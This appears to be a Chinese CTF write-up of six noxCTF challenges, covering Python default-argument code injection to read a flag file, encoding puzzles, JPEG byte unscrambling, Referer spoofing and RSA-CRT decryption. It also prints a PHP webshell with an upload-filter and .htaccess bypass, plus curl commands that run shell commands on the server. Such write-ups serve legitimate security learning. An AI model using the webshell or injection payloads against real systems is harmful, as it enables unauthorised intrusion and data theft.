noxCTF部分writeup(欢迎吐槽QAQ)

简介: 前言本文首发i春秋:https://bbs.ichunqiu.com/thread-46059-1-1.html渣渣一枚,萌新一个,会划水,会喊六六(hhhhh)补一下关于noxCTF中的部分解题思路,毕竟自己太渣(Qrz),有些题目还是做不出来(QAQ),有什么错误的地方,希望各位大佬指点...

前言

本文首发i春秋:https://bbs.ichunqiu.com/thread-46059-1-1.html

渣渣一枚,萌新一个,会划水,会喊六六(hhhhh)

补一下关于noxCTF中的部分解题思路,毕竟自己太渣(Qrz),有些题目还是做不出来(QAQ),有什么错误的地方,希望各位大佬指点一下(thx)

一:Python for fun

欢迎来到noxale的在线python课程!!! 您可以在有限的时间内免费试用它并在python 3中学习基本编程:http://chal.noxale.com:8000/

该网站有三个不同的页面用于教python 3.页面是'修复代码','匹配签名到正文','代码返回'。我们感兴趣的是'match signature to body'类,因为它允许我们设置python 3函数的参数并解释它。

我们来看看它是否容易受到攻击。

def fun(a,b,c=print('7' * 7)):
    c = a + b
    return c

print(fun(10, 12) == 22)
7777777
True

如您所见,它执行了我们的代码并打印了7777777

让我们尝试列出工作目录下的文件

def fun(a,b,c=print(__import__('os').listdir())):
c = a + b
return c

print(fun(10, 12) == 22)
 
['db.sqlite3', 'learn_python', 'python_ctf_thing', 'Dockerfile', 'FLAG', 'manage.py', 'requirements.txt', 'templates']
True

只需要使用一个flag就可以得到答案:

def fun(a,b,c=print(open('FLAG','r').read())):
c = a + b
return c
 
print(fun(10, 12) == 22)
 
noxCTF{py7h0n_15_4w350m3}
 
True

二:Read Between The Lines

下载文件后,感觉该文件是一个gzip压缩存档。

使用linux命令:

$ file message.code

message.code:gzip压缩数据,是“消息”

$ mv message.code message.code.gz

$ gzip -d message.code

查看文件的内容,我看到一些代码,我认为这些代码是常见的JavaScript代码

所以,让我们尝试在浏览器中运行代码,看看会发生什么。

出现错误,只能慢慢查找资料(QAQ) CTF中那些脑洞大开的编码和加密

在这个强大的资料库里面就可以找到解码的网址:https://vii5ard.github.io/whitespace/

把需要解密的密文放入并单击“运行”按钮,就会得到答案:

三:Blind Date

通过检查文件的数据,xxd我们注意到字节是乱码的

在看了JPEG文件交换格式后,我们可以快速查看字节是如何被加扰的。 https://en.wikipedia.org/wiki/JPEG_File_Interchange_Format#File_format_structure

该文件应以字节开头,FF D8 FF E0然后是一个2字节的值,用于保存段长度。接下来是JFIF标识符4A 46 49 46 00

我们注意到它们只占用了4个字节的块并将它们反转。

f = open('BlindDate.jpeg',“rb”)
s = f.read()
f.close()

data = '' 
for i in range(0,len(s),4):
data + = s [i:i + 4 ] [:: -1 ]

nf = open('blind.jpeg','wb')
nf.write(data)

此脚本将还原的映像写入blind.jpeg

字符串显示图像末尾有一些数据:

一个base64字符串Li4gICAuICAuLiAgLi4gICAuICAuLiAgLi4gICAuICAuLiAgLiAgLi4NCi4gICAgLiAgIC4gICAgICAgLiAgICAgIC4gICAgLiAgIC4gIC4gIA0KICAgIC4uICAgICAgICAgIC4uICAgICAgLiAgIC4uICAgICAgLiAgLgPK,它解码为:

.. .. .. .. .. .. .. 
。。。。。。。。  
.. .. .. 。

文字是盲文翻译之后就会得到:F4C3P4LM

接下来,我们使用binwalk提取blind.jpeg中的zip文件。

打开zip文件发现需要密码 而我们已经得到盲文翻译后的答案,尝试一下可不可以解密 就会得到一个flag.txt文件

此文件包含brainfuck代码并运行它打印最终标志。

++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>>++++++++++.+.+++++++++.<---.+++++++++++++++++.--------------.>+++.<+++++++++++++++++.<++++++++++++++++++.>>------.---------.--------.-----.++++++++++++++++++++++++++.<<.>>----.<++++++++.+++.>---------.<<+.>>++.<++.-----.+++++.<+++.>>++++++.<<-.>-----.<+.>.+++.>--------.<<---.>>++.<++.-----.+++++.<+++.>>++++++.<<-.++++++++++++.>>+++++++++.<<<++++++++++++++++++++++.

放进解密工具:Brainfuck

解密之后就会得到答案:

最后得到答案:noxCTF{W0uld_y0u_bl1nd_d4t3_4_bl1nd_d4t3?}

四:Reference

我们使用此URI启动挑战:

http://chal.noxale.com:5000/

打开这个页面,我们得到一个简单的网站,只包含明文“你来自哪个****?”。

通过HTML文档挖掘,我们发现了一个脚本标记链接 /js/index.js

在原始检查时,它是一个ajax函数,它根据对url的请求返回成功并可能标记或失败/check_from_google

从挑战标题和url名称推断,/check_from_google我们必须将请求标头中的HTTP Referer字段设置为 url /check_from_google

启动burp就可以,捕获请求并添加带有www.google.com值的referer字段。

我们使用以下有效负载返回HTTP 200 OK

    bm94Q1RGe0cwb2dMM18xc180bFc0WXNfVXJfYjNTVF9SM2YzcjNuYzN9

使用base64即可进行解密:

noxCTF{G0ogL3_1s_4lW4Ys_Ur_b3ST_R3f3r3nc3}

五:Chop Suey

题目描述:

Today I ate in a Chinese restaurant and got myself a fortune cookie. These things usually contain a note with a nice sentence or phrase, but mine had numbers in it instead! Can you help me find the meaning of the numbers?

p = 8637633767257008567099653486541091171320491509433615447539162437911244175885667806398411790524083553445158113502227745206205327690939504032994699902053229 

q = 12640674973996472769176047937170883420927050821480010581593137135372473880595613737337630629752577346147039284030082593490776630572584959954205336880228469 

dp = 6500795702216834621109042351193261530650043841056252930930949663358625016881832840728066026150264693076109354874099841380454881716097778307268116910582929 

dq = 783472263673553449019532580386470672380574033551303889137911760438881683674556098098256795673512201963002175438762767516968043599582527539160811120550041 

c = 24722305403887382073567316467649080662631552905960229399079107995602154418176056335800638887527614164073530437657085079676157350205351945222989351316076486573599576041978339872265925062764318536089007310270278526159678937431903862892400747915525118983959970607934142974736675784325993445942031372107342103852

因此,如果您已经学习了中国剩余定理,那么您肯定会知道这种RSA优化技术。
它指出:

dp = d (mod p-1)

dq = d (mod q-1)

使用这种方法比使用欧几里得中关于RSA的算法更快,如果没有pq,你将需要计算更多,而现在只需要看一下维基百科中的关于RSA算

法使用中国剩余定理即可

https://en.wikipedia.org/wiki/RSA_(cryptosystem)

由于他们已经为我们提供了pq值!我们可以轻松地重新计算qinv

构建qinv

qinv = modinv(q, p)
m2 = pow(c, dq, q)
m1 = pow(c, dp, p)
h = (qinv * (m1 - m2)) % p
m = m2 + h * q

完整脚本:

from gmpy2 import *
p=8637633767257008567099653486541091171320491509433615447539162437911244175885667806398411790524083553445158113502227745206205327690939504032994699902053229
q=12640674973996472769176047937170883420927050821480010581593137135372473880595613737337630629752577346147039284030082593490776630572584959954205336880228469
dp=6500795702216834621109042351193261530650043841056252930930949663358625016881832840728066026150264693076109354874099841380454881716097778307268116910582929
dq=783472263673553449019532580386470672380574033551303889137911760438881683674556098098256795673512201963002175438762767516968043599582527539160811120550041
c=24722305403887382073567316467649080662631552905960229399079107995602154418176056335800638887527614164073530437657085079676157350205351945222989351316076486573599576041978339872265925062764318536089007310270278526159678937431903862892400747915525118983959970607934142974736675784325993445942031372107342103852
def egcd(a, b):
    if a == 0:
       return (b, 0, 1)
    else:
        g, y, x = egcd(b % a, a)
        return (g, x - (b // a) * y, y)
def modinv(a, m):
    g, x, y = egcd(a, m)
    if g != 1:
       raise Exception('modular inverse does not exist')
    else:
        return x % m
qinv = modinv(q, p)
m2 = pow(c, dq, q)
m1 = pow(c, dp, p)
h = (qinv * (m1 - m2)) % p
m = m2 + h * q
print(m)

txt = hex(m)[2:]
print ''.join([chr(int(''.join(c), 16)) for c in zip(txt[0::2],txt[1::2])])

六:MyFileUploader

首先使用第一种,比较常见的方式:

由于该网站允许我们上传文件。让我们创建一个php shell文件,但将其保存为dummy.txt

dummy.txt

<?php
system($_GET['cmd']);
?>

然后,尝试上传它

由提示可以看出,这个上传的文件它希望文件名包含.png / .jpg / .gif。让我们将dummy.txt文件重命名为dummy.png.txt并尝试再次上传

File: dummy.png.txt

Image uploaded to: <a href='uploads/dummy.png.txt'>Here</a>

接下来我们看一下上传之后的网址:

$ curl 'http://chal.noxale.com:8079/uploads/dummy.png.txt'
<?php
system($_GET['cmd']);
?>

这个就表示我们已成功上传。我们试着查看/ uploads /下的内容

我们可以看到这里面有一个名为“Don't open/”的目录。让我们看看里面是什么

Options +Indexes
AddType application/x-httpd-php .cyb3r

从这里可以看出服务器使用PHP运行扩展名为.cyb3r的文件。

因此我们需要将文件重命名为rce.png.cyb3r并重新上传,就会得到:

我们可以由提示看出,我们成功上传了我们的shell文件。我们先来测试!!!

首先:看一下 http://chal.noxale.com:8079/uploads/rce.png.cyb3r?cmd=whoami

然后:http://chal.noxale.com:8079/uploads/rce.png.cyb3r?cmd=pwd

接下来使用ls命令就可以得到想要的答案:

$ curl "http://chal.noxale.com:8079/uploads/rce.png.cyb3r?cmd=ls"
1.jpg
1.jpg%00php
1.php%00jpg
1.php.jpg
1jpg
2.php%00jpg
2.php.jpg
2.php;.jpg
7H3-FL4G-1S-H3r3
Don't open
dummy.png.txt
exec.png.cyb3r
gif.phpjpg
gifjpg
rce.png.cyb3r
shell.png.cyb3r
shell.png.phtml
uploadTest.txt
$ curl "http://chal.noxale.com:8079/uploads/rce.png.cyb3r?cmd=file%207H3-FL4G-1S-H3r3"
7H3-FL4G-1S-H3r3: directory
$ curl "http://chal.noxale.com:8079/uploads/rce.png.cyb3r?cmd=ls%207H3-FL4G-1S-H3r3"
noxCTF{N3V3R_7RU57_07H3R5}

最后得到答案:noxCTF{N3V3R_7RU57_07H3R5}

第二种方法:

打开链接:http://chal.noxale.com:8079

让我们尝试上传这个非常可爱的zzkjRTe.jpg图片:

正如我们所看到的,它还为我们提供了在服务器上找到此图片的路径:http://chal.noxale.com:8079/uploads/kittens.jpg

在探索这条路径之前,让我们尝试上传一个非常简单的webshel​​l名为shell.php。它实际上是Arrexel的剧本。

在我尝试了不同的东西之后,我理解我只需要放置.png,.jpg或者.gif在文件名中的任何位置。因此服务器仍将evilshell.jpg.php作为有效输

入,但.php如果存在于文件名的末尾,它将自动擦除。那是一个问题。

然后我去探索路径/uploads,我找到了一个名为Do not open的目录。你猜怎么了?我打开它。

里面有着一个名为:.htaccess文件,内容对我们还是有很大的帮助:

Options +Indexes
AddType application/x-httpd-php .cyb3r

这意味着任何以自制扩展名结尾的文件.cyb3r都将由服务器作为php代码处理。

接下来就变得简单了许多

让我们把我们的phpbash shell重命名为shell.png.cyb3r,然后上传它。

成功了!现在的时刻......让我们导航到我们的上传路径......

是的!得到了一个webshel​​l

现在让我们列出这个名为7H3-FL4G-1S-H3r3文件夹里面的内容:

最后答案:noxCTF{N3V3R_7RU57_07H3R5}

参考资料:

phpbash:https://github.com/Arrexel/phpbash

CTF中RSA的常见攻击方法 : https://www.anquanke.com/post/id/84632

CTF中那些脑洞大开的编码和加密: https://www.tuicool.com/articles/2E3INnm

RSA之中国剩余定理: https://en.wikipedia.org/wiki/RSA_(cryptosystem)

Brainfuck/Ook! Obfuscation/Encoding: https://www.splitbrain.org/services/ook

目录
相关文章
|
6月前
|
算法
【随想】每日两题Day.9
【随想】每日两题
37 1
|
6月前
|
算法
【随想】每日两题Day.1
【随想】每日两题Day.1
34 0
|
6月前
【随想】每日两题Day.4
【随想】每日两题Day.4
28 0
|
6月前
|
算法
【随想】每日两题Day.15
【随想】每日两题Day.15
34 0
|
6月前
【随想】每日两题Day.19
【随想】每日两题Day.19
37 0
|
6月前
|
机器学习/深度学习 NoSQL Shell
【随想】每日两题Day.13
【随想】每日两题Day.13
30 0
|
6月前
|
索引
【随想】每日两题Day.7
【随想】每日两题
29 0
|
6月前
【随想】每日两题Day.11
随想】每日两题Day.11
33 0
|
6月前
【随想】每日两题Day.17
【随想】每日两题Day.17
41 0
|
6月前
【随想】每日两题Day.18
【随想】每日两题Day.18
41 0